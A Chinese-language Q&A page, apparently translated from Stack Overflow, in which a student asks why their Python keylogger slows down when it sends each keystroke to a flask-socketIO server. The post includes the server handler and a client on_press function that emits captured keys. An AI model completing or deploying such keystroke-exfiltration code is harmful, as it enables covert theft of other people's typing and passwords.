首页 > 解决方案 > 通过 socketIO 发出击键数据会减慢程序的速度

问题描述

让我首先提到我是 Python 新手并使用 Sockets。

我正在使用 Python 作为大学项目构建键盘记录器。每次击键都必须从键盘记录器(客户端)发送到 flask-socketIO 服务器(也在 Python 中)。

问题:

客户端成功连接到服务器并能够传输记录的密钥。但是,程序变得非常缓慢。将记录的击键发送到服务器大约需要 2 秒的处理时间。因此,它无法检测到每次击键,并且在客户端运行时,在目标机器上输入任何内容也会变得非常慢。因此,键盘记录器变得不可用。

这是服务器端的代码片段:

from flask import Flask, render_template
from flask_socketio import SocketIO, emit

app = Flask(__name__)
app.config['SECRET_KEY'] = 'secret'
socketio = SocketIO(app)

@socketio.on('keylogger')
def print_keys(data):
    print(data["keylogged"])


if __name__ == '__main__':
    socketio.run(app)

在客户端,我首先连接到服务器:

socketIO = SocketIO('localhost', 5000,
                        LoggingNamespace)

然后在 on_press 键事件中发送每个击键

def on_press(key):
    global keys, count, currentTime
    print(key)
    keys.append(key)
    count += 1
    currentTime = time.time()

    if count >= 1:
        count = 0
        socketIO.emit('keylogger', {"keylogged": str(key)})
        write_to_file(keys)
        keys = []

我已经尝试了一天的时间来解决这个问题,但是由于我缺乏使用套接字的经验,我无法解决这个问题,这让我很烦恼。对此事的任何帮助都将非常有价值。提前致谢!

标签: pythonsocketssocket.ioflask-socketiokeylogger

解决方案


推荐阅读